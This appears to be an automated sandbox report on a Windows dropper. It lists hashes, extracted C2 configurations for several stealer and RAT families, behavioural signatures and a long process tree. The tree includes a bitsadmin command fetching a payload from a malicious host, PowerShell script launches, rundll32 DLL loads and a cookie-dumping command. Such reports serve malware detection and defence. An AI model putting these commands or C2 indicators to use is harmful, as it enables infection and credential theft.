Analysis

  • max time kernel
    61s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    08-07-2021 12:01

General

  • Target

    F487F870FDF6550C4CA3241481FD49DC.exe

  • Size

    3.7MB

  • MD5

    f487f870fdf6550c4ca3241481fd49dc

  • SHA1

    f5f4a37e432c551b67508a74861e2f6e70ec2d4d

  • SHA256

    b138c67994648f1784c8263e0af703662e2bd8e55d9d8a1189dcf243f2bff657

  • SHA512

    6e5d57fdbe36492955df7b50ab40b7a1466cd225126eabbd36cebbdb1696e7bd560e1728cf2b697861b5c59be58bab6f1f4f868c00ef32b38e4fa4d84fb3bb6f

Malware Config

Extracted

Family

vidar

Version

39.4

Botnet

706

C2

https://sergeevih43.tumblr.com

Attributes
  • profile_id

    706

Extracted

Family

redline

Botnet

Cana

C2

176.111.174.254:56328

Extracted

Family

asyncrat

Version

0.5.7B

C2

null:null

Mutex

AsyncMutex_6SI8OkPnk

Attributes
  • aes_key

    3htbU7p8VLsbVqyiXfg3CvefpcBeyVlh

  • anti_detection

    true

  • autorun

    true

  • bdos

    false

  • delay

    Default

  • host

    null

  • hwid

    3

  • install_file

  • install_folder

    %AppData%

  • mutex

    AsyncMutex_6SI8OkPnk

  • pastebin_config

    https://pastebin.com/raw/xV7ZAURy

  • port

    null

  • version

    0.5.7B

aes.plain

Extracted

Family

smokeloader

Version

2020

C2

http://conceitosseg.com/upload/

http://integrasidata.com/upload/

http://ozentekstil.com/upload/

http://finbelportal.com/upload/

http://telanganadigital.com/upload/

rc4.i32
rc4.i32

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 7 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Async RAT payload 2 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Vidar Stealer 1 IoCs
  • ASPack v2.12-2.42 9 IoCs

    Detects executables packed with ASPack v2.12-2.42

  • Downloads MZ/PE file
  • Executes dropped EXE 42 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 12 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses 2FA software files, possible credential harvesting 2 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Kills process with taskkill 7 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Modifies registry class 20 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
    1⤵
      PID:1020
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s SENS
      1⤵
        PID:1412
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
        1⤵
          PID:2736
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s Browser
          1⤵
            PID:2856
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s WpnService
            1⤵
              PID:2748
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
              1⤵
                PID:2564
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2488
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
                1⤵
                  PID:1852
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                  1⤵
                    PID:1364
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s Themes
                    1⤵
                      PID:1184
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                      1⤵
                        PID:1052
                      • c:\windows\system32\svchost.exe
                        c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                        1⤵
                          PID:912
                          • C:\Users\Admin\AppData\Roaming\itwwuwd
                            C:\Users\Admin\AppData\Roaming\itwwuwd
                            2⤵
                              PID:7428
                            • C:\Users\Admin\AppData\Roaming\cfwwuwd
                              C:\Users\Admin\AppData\Roaming\cfwwuwd
                              2⤵
                                PID:6960
                            • C:\Users\Admin\AppData\Local\Temp\F487F870FDF6550C4CA3241481FD49DC.exe
                              "C:\Users\Admin\AppData\Local\Temp\F487F870FDF6550C4CA3241481FD49DC.exe"
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:4648
                              • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
                                "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
                                2⤵
                                • Executes dropped EXE
                                • Suspicious use of WriteProcessMemory
                                PID:3700
                                • C:\Users\Admin\AppData\Local\Temp\7zS47EF1754\setup_install.exe
                                  "C:\Users\Admin\AppData\Local\Temp\7zS47EF1754\setup_install.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  • Loads dropped DLL
                                  • Suspicious use of WriteProcessMemory
                                  PID:776
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c sonia_1.exe
                                    4⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:4116
                                    • C:\Users\Admin\AppData\Local\Temp\7zS47EF1754\sonia_1.exe
                                      sonia_1.exe
                                      5⤵
                                      • Executes dropped EXE
                                      • Checks computer location settings
                                      • Modifies registry class
                                      PID:1084
                                      • C:\Windows\SysWOW64\rUNdlL32.eXe
                                        "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\axhub.dll",setpwd
                                        6⤵
                                        • Loads dropped DLL
                                        • Modifies registry class
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4520
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c sonia_2.exe
                                    4⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:3216
                                    • C:\Users\Admin\AppData\Local\Temp\7zS47EF1754\sonia_2.exe
                                      sonia_2.exe
                                      5⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • Checks SCSI registry key(s)
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:1128
                                  • C:\Windows\SysWOW64\cmd.exe
                                    C:\Windows\system32\cmd.exe /c sonia_4.exe
                                    4⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:636
                                    • C:\Users\Admin\AppData\Local\Temp\7zS47EF1754\sonia_4.exe
                                      sonia_4.exe
                                      5⤵
                                      • Executes dropped EXE
                                      PID:2460
                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                        6⤵
                                          PID:4472
                                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                          6⤵
                                          • Executes dropped EXE
                                          PID:908
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c sonia_5.exe
                                      4⤵
                                      • Suspicious use of WriteProcessMemory
                                      PID:808
                                      • C:\Users\Admin\AppData\Local\Temp\7zS47EF1754\sonia_5.exe
                                        sonia_5.exe
                                        5⤵
                                        • Executes dropped EXE
                                        PID:1516
                                        • C:\Users\Admin\AppData\Local\Temp\is-VT93H.tmp\sonia_5.tmp
                                          "C:\Users\Admin\AppData\Local\Temp\is-VT93H.tmp\sonia_5.tmp" /SL5="$3002E,506127,422400,C:\Users\Admin\AppData\Local\Temp\7zS47EF1754\sonia_5.exe"
                                          6⤵
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          PID:2880
                                          • C:\Users\Admin\AppData\Local\Temp\is-L9N94.tmp\JFHGSFGSIUGFSUIG.exe
                                            "C:\Users\Admin\AppData\Local\Temp\is-L9N94.tmp\JFHGSFGSIUGFSUIG.exe" /S /UID=burnerch2
                                            7⤵
                                            • Executes dropped EXE
                                            PID:3948
                                            • C:\Program Files\Mozilla Firefox\RAKZIZLTGD\ultramediaburner.exe
                                              "C:\Program Files\Mozilla Firefox\RAKZIZLTGD\ultramediaburner.exe" /VERYSILENT
                                              8⤵
                                                PID:4496
                                                • C:\Users\Admin\AppData\Local\Temp\is-H6N57.tmp\ultramediaburner.tmp
                                                  "C:\Users\Admin\AppData\Local\Temp\is-H6N57.tmp\ultramediaburner.tmp" /SL5="$401E8,281924,62464,C:\Program Files\Mozilla Firefox\RAKZIZLTGD\ultramediaburner.exe" /VERYSILENT
                                                  9⤵
                                                    PID:5884
                                                    • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                                      "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                                      10⤵
                                                        PID:504
                                                  • C:\Users\Admin\AppData\Local\Temp\1e-f6a72-f1b-f9bba-2d5b8646f1093\Bynoryhynu.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\1e-f6a72-f1b-f9bba-2d5b8646f1093\Bynoryhynu.exe"
                                                    8⤵
                                                      PID:5196
                                                    • C:\Users\Admin\AppData\Local\Temp\b0-609e3-85f-22793-8deb982f12e65\Vytygydula.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\b0-609e3-85f-22793-8deb982f12e65\Vytygydula.exe"
                                                      8⤵
                                                        PID:6120
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ts5birbl.nji\GcleanerEU.exe /eufive & exit
                                                          9⤵
                                                            PID:540
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1xwqhq3e.5k1\installer.exe /qn CAMPAIGN="654" & exit
                                                            9⤵
                                                              PID:6196
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0ik0b5wx.nfs\Setup3310.exe /Verysilent /subid=623 & exit
                                                              9⤵
                                                                PID:6664
                                                                • C:\Users\Admin\AppData\Local\Temp\0ik0b5wx.nfs\Setup3310.exe
                                                                  C:\Users\Admin\AppData\Local\Temp\0ik0b5wx.nfs\Setup3310.exe /Verysilent /subid=623
                                                                  10⤵
                                                                    PID:6876
                                                                    • C:\Users\Admin\AppData\Local\Temp\is-1DJ3G.tmp\Setup3310.tmp
                                                                      "C:\Users\Admin\AppData\Local\Temp\is-1DJ3G.tmp\Setup3310.tmp" /SL5="$20454,138429,56832,C:\Users\Admin\AppData\Local\Temp\0ik0b5wx.nfs\Setup3310.exe" /Verysilent /subid=623
                                                                      11⤵
                                                                        PID:6984
                                                                        • C:\Users\Admin\AppData\Local\Temp\is-14LRG.tmp\Setup.exe
                                                                          "C:\Users\Admin\AppData\Local\Temp\is-14LRG.tmp\Setup.exe" /Verysilent
                                                                          12⤵
                                                                            PID:6256
                                                                            • C:\Program Files (x86)\Data Finder\Versium Research\NMemo3Setp.exe
                                                                              "C:\Program Files (x86)\Data Finder\Versium Research\NMemo3Setp.exe"
                                                                              13⤵
                                                                                PID:8120
                                                                                • C:\Users\Admin\AppData\Local\Temp\NMemo3Setp.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\NMemo3Setp.exe" end
                                                                                  14⤵
                                                                                    PID:5788
                                                                                • C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe
                                                                                  "C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe"
                                                                                  13⤵
                                                                                    PID:8112
                                                                                    • C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe
                                                                                      "C:\Program Files (x86)\Data Finder\Versium Research\RunWW.exe"
                                                                                      14⤵
                                                                                        PID:4656
                                                                                    • C:\Program Files (x86)\Data Finder\Versium Research\hjjgaa.exe
                                                                                      "C:\Program Files (x86)\Data Finder\Versium Research\hjjgaa.exe"
                                                                                      13⤵
                                                                                        PID:8100
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\prcehxvt.0pp\google-game.exe & exit
                                                                                9⤵
                                                                                  PID:7296
                                                                                  • C:\Users\Admin\AppData\Local\Temp\prcehxvt.0pp\google-game.exe
                                                                                    C:\Users\Admin\AppData\Local\Temp\prcehxvt.0pp\google-game.exe
                                                                                    10⤵
                                                                                      PID:7696
                                                                                      • C:\Users\Admin\AppData\Local\Temp\prcehxvt.0pp\google-game.exe
                                                                                        "C:\Users\Admin\AppData\Local\Temp\prcehxvt.0pp\google-game.exe" -a
                                                                                        11⤵
                                                                                          PID:2008
                                                                                    • C:\Windows\System32\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\tjno5e3u.ujr\BrowzarBrowser_J013.exe & exit
                                                                                      9⤵
                                                                                        PID:7720
                                                                                        • C:\Users\Admin\AppData\Local\Temp\tjno5e3u.ujr\BrowzarBrowser_J013.exe
                                                                                          C:\Users\Admin\AppData\Local\Temp\tjno5e3u.ujr\BrowzarBrowser_J013.exe
                                                                                          10⤵
                                                                                            PID:4744
                                                                                        • C:\Windows\System32\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\oz4nsbg3.44y\GcleanerWW.exe /mixone & exit
                                                                                          9⤵
                                                                                            PID:8128
                                                                                          • C:\Windows\System32\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qnacq0k5.hxi\toolspab1.exe & exit
                                                                                            9⤵
                                                                                              PID:6628
                                                                                              • C:\Users\Admin\AppData\Local\Temp\qnacq0k5.hxi\toolspab1.exe
                                                                                                C:\Users\Admin\AppData\Local\Temp\qnacq0k5.hxi\toolspab1.exe
                                                                                                10⤵
                                                                                                  PID:6864
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\qnacq0k5.hxi\toolspab1.exe
                                                                                                    C:\Users\Admin\AppData\Local\Temp\qnacq0k5.hxi\toolspab1.exe
                                                                                                    11⤵
                                                                                                      PID:4048
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3ihghhln.lxn\SunLabsPlayer.exe /S & exit
                                                                                                  9⤵
                                                                                                    PID:1428
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\3ihghhln.lxn\SunLabsPlayer.exe
                                                                                                      C:\Users\Admin\AppData\Local\Temp\3ihghhln.lxn\SunLabsPlayer.exe /S
                                                                                                      10⤵
                                                                                                        PID:6784
                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz1B27.tmp\tempfile.ps1"
                                                                                                          11⤵
                                                                                                            PID:5932
                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz1B27.tmp\tempfile.ps1"
                                                                                                            11⤵
                                                                                                              PID:5252
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c sonia_6.exe
                                                                                                4⤵
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:904
                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS47EF1754\sonia_6.exe
                                                                                                  sonia_6.exe
                                                                                                  5⤵
                                                                                                  • Executes dropped EXE
                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                  PID:1860
                                                                                                  • C:\Users\Admin\AppData\Roaming\8953203.exe
                                                                                                    "C:\Users\Admin\AppData\Roaming\8953203.exe"
                                                                                                    6⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:4236
                                                                                                  • C:\Users\Admin\AppData\Roaming\7810435.exe
                                                                                                    "C:\Users\Admin\AppData\Roaming\7810435.exe"
                                                                                                    6⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • Adds Run key to start application
                                                                                                    PID:200
                                                                                                    • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                                                                                      "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                                                                                      7⤵
                                                                                                      • Executes dropped EXE
                                                                                                      PID:4876
                                                                                                  • C:\Users\Admin\AppData\Roaming\2235749.exe
                                                                                                    "C:\Users\Admin\AppData\Roaming\2235749.exe"
                                                                                                    6⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:2328
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c sonia_7.exe
                                                                                                4⤵
                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                PID:1208
                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zS47EF1754\sonia_7.exe
                                                                                                  sonia_7.exe
                                                                                                  5⤵
                                                                                                  • Executes dropped EXE
                                                                                                  PID:1776
                                                                                                  • C:\Users\Admin\Documents\hliAw0eH1Vlva32xxPlNxDcz.exe
                                                                                                    "C:\Users\Admin\Documents\hliAw0eH1Vlva32xxPlNxDcz.exe"
                                                                                                    6⤵
                                                                                                    • Executes dropped EXE
                                                                                                    • Checks BIOS information in registry
                                                                                                    • Checks whether UAC is enabled
                                                                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                    PID:2368
                                                                                                  • C:\Users\Admin\Documents\1oXe6IvZ5FYSJ6BvWW69HeRa.exe
                                                                                                    "C:\Users\Admin\Documents\1oXe6IvZ5FYSJ6BvWW69HeRa.exe"
                                                                                                    6⤵
                                                                                                      PID:3872
                                                                                                      • C:\Users\Admin\Documents\1oXe6IvZ5FYSJ6BvWW69HeRa.exe
                                                                                                        "C:\Users\Admin\Documents\1oXe6IvZ5FYSJ6BvWW69HeRa.exe"
                                                                                                        7⤵
                                                                                                          PID:3996
                                                                                                      • C:\Users\Admin\Documents\O0ksVGZ6w5oMMdmPNB5Ud4Fo.exe
                                                                                                        "C:\Users\Admin\Documents\O0ksVGZ6w5oMMdmPNB5Ud4Fo.exe"
                                                                                                        6⤵
                                                                                                        • Executes dropped EXE
                                                                                                        PID:4472
                                                                                                      • C:\Users\Admin\Documents\VUsOWvQ2k5YXReABE6JlJKcE.exe
                                                                                                        "C:\Users\Admin\Documents\VUsOWvQ2k5YXReABE6JlJKcE.exe"
                                                                                                        6⤵
                                                                                                        • Executes dropped EXE
                                                                                                        • Drops file in Program Files directory
                                                                                                        PID:3200
                                                                                                        • C:\Program Files (x86)\Browzar\MrGh6bEH0L0a.exe
                                                                                                          "C:\Program Files (x86)\Browzar\MrGh6bEH0L0a.exe"
                                                                                                          7⤵
                                                                                                            PID:5232
                                                                                                            • C:\Program Files (x86)\Browzar\MrGh6bEH0L0a.exe
                                                                                                              "C:\Program Files (x86)\Browzar\MrGh6bEH0L0a.exe"
                                                                                                              8⤵
                                                                                                                PID:6212
                                                                                                            • C:\Program Files (x86)\Browzar\Browzar.exe
                                                                                                              "C:\Program Files (x86)\Browzar\Browzar.exe"
                                                                                                              7⤵
                                                                                                                PID:5560
                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5560 -s 2688
                                                                                                                  8⤵
                                                                                                                  • Program crash
                                                                                                                  PID:6908
                                                                                                            • C:\Users\Admin\Documents\v1e_ufSBdzdY2slmS9RYj5LL.exe
                                                                                                              "C:\Users\Admin\Documents\v1e_ufSBdzdY2slmS9RYj5LL.exe"
                                                                                                              6⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Drops file in Program Files directory
                                                                                                              PID:3416
                                                                                                              • C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe
                                                                                                                "C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe"
                                                                                                                7⤵
                                                                                                                  PID:5288
                                                                                                                • C:\Program Files (x86)\Company\NewProduct\jingzhang.exe
                                                                                                                  "C:\Program Files (x86)\Company\NewProduct\jingzhang.exe"
                                                                                                                  7⤵
                                                                                                                    PID:5280
                                                                                                                    • C:\Windows\SysWOW64\rUNdlL32.eXe
                                                                                                                      "C:\Windows\system32\rUNdlL32.eXe" "C:\Users\Admin\AppData\Local\Temp\install.dll",shl
                                                                                                                      8⤵
                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                      PID:344
                                                                                                                  • C:\Program Files (x86)\Company\NewProduct\jooyu.exe
                                                                                                                    "C:\Program Files (x86)\Company\NewProduct\jooyu.exe"
                                                                                                                    7⤵
                                                                                                                      PID:5268
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                        8⤵
                                                                                                                          PID:5928
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                          C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                          8⤵
                                                                                                                            PID:4444
                                                                                                                        • C:\Program Files (x86)\Company\NewProduct\file4.exe
                                                                                                                          "C:\Program Files (x86)\Company\NewProduct\file4.exe"
                                                                                                                          7⤵
                                                                                                                            PID:5252
                                                                                                                        • C:\Users\Admin\Documents\f3AIvGDad9YcjdEwea1qVJnD.exe
                                                                                                                          "C:\Users\Admin\Documents\f3AIvGDad9YcjdEwea1qVJnD.exe"
                                                                                                                          6⤵
                                                                                                                          • Executes dropped EXE
                                                                                                                          PID:5008
                                                                                                                          • C:\Users\Admin\Documents\f3AIvGDad9YcjdEwea1qVJnD.exe
                                                                                                                            "C:\Users\Admin\Documents\f3AIvGDad9YcjdEwea1qVJnD.exe" -a
                                                                                                                            7⤵
                                                                                                                              PID:5492
                                                                                                                          • C:\Users\Admin\Documents\wZf1jJqK0dgWNg4x3Rn9SuQ5.exe
                                                                                                                            "C:\Users\Admin\Documents\wZf1jJqK0dgWNg4x3Rn9SuQ5.exe"
                                                                                                                            6⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            PID:4480
                                                                                                                          • C:\Users\Admin\Documents\bfvRUGAf64kCFNpxsxRwYywu.exe
                                                                                                                            "C:\Users\Admin\Documents\bfvRUGAf64kCFNpxsxRwYywu.exe"
                                                                                                                            6⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Loads dropped DLL
                                                                                                                            • Drops file in Program Files directory
                                                                                                                            PID:4704
                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz1D8D.tmp\tempfile.ps1"
                                                                                                                              7⤵
                                                                                                                                PID:4612
                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz1D8D.tmp\tempfile.ps1"
                                                                                                                                7⤵
                                                                                                                                  PID:6552
                                                                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz1D8D.tmp\tempfile.ps1"
                                                                                                                                  7⤵
                                                                                                                                    PID:6024
                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz1D8D.tmp\tempfile.ps1"
                                                                                                                                    7⤵
                                                                                                                                      PID:2744
                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz1D8D.tmp\tempfile.ps1"
                                                                                                                                      7⤵
                                                                                                                                        PID:2628
                                                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz1D8D.tmp\tempfile.ps1"
                                                                                                                                        7⤵
                                                                                                                                          PID:2304
                                                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsz1D8D.tmp\tempfile.ps1"
                                                                                                                                          7⤵
                                                                                                                                            PID:8024
                                                                                                                                          • C:\Windows\SysWOW64\bitsadmin.exe
                                                                                                                                            "bitsadmin" /Transfer helper http://addingcrapstdownld.com/data/data.7z C:\zip.7z
                                                                                                                                            7⤵
                                                                                                                                            • Download via BitsAdmin
                                                                                                                                            PID:5340
                                                                                                                                        • C:\Users\Admin\Documents\fsSjCLWntUWlU81yUA8bpu17.exe
                                                                                                                                          "C:\Users\Admin\Documents\fsSjCLWntUWlU81yUA8bpu17.exe"
                                                                                                                                          6⤵
                                                                                                                                          • Executes dropped EXE
                                                                                                                                          PID:1216
                                                                                                                                          • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                            "C:\Program Files\Mozilla Firefox\firefox.exe"
                                                                                                                                            7⤵
                                                                                                                                              PID:3912
                                                                                                                                              • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                "C:\Program Files\Mozilla Firefox\firefox.exe"
                                                                                                                                                8⤵
                                                                                                                                                  PID:4764
                                                                                                                                                  • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4764.0.1287064588\1456856411" -parentBuildID 20200403170909 -prefsHandle 1388 -prefMapHandle 1380 -prefsLen 1 -prefMapSize 219680 -appdir "C:\Program Files\Mozilla Firefox\browser" - 4764 "\\.\pipe\gecko-crash-server-pipe.4764" 1472 gpu
                                                                                                                                                    9⤵
                                                                                                                                                      PID:6356
                                                                                                                                                    • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4764.1.2050013961\774701075" -childID 1 -isForBrowser -prefsHandle 5480 -prefMapHandle 5476 -prefsLen 156 -prefMapSize 219680 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 4764 "\\.\pipe\gecko-crash-server-pipe.4764" 5492 tab
                                                                                                                                                      9⤵
                                                                                                                                                        PID:7336
                                                                                                                                                      • C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4764.13.1786180237\917777702" -childID 2 -isForBrowser -prefsHandle 4352 -prefMapHandle 4420 -prefsLen 1022 -prefMapSize 219680 -parentBuildID 20200403170909 -appdir "C:\Program Files\Mozilla Firefox\browser" - 4764 "\\.\pipe\gecko-crash-server-pipe.4764" 5256 tab
                                                                                                                                                        9⤵
                                                                                                                                                          PID:7856
                                                                                                                                                        • C:\Program Files\Mozilla Firefox\firefox.exe
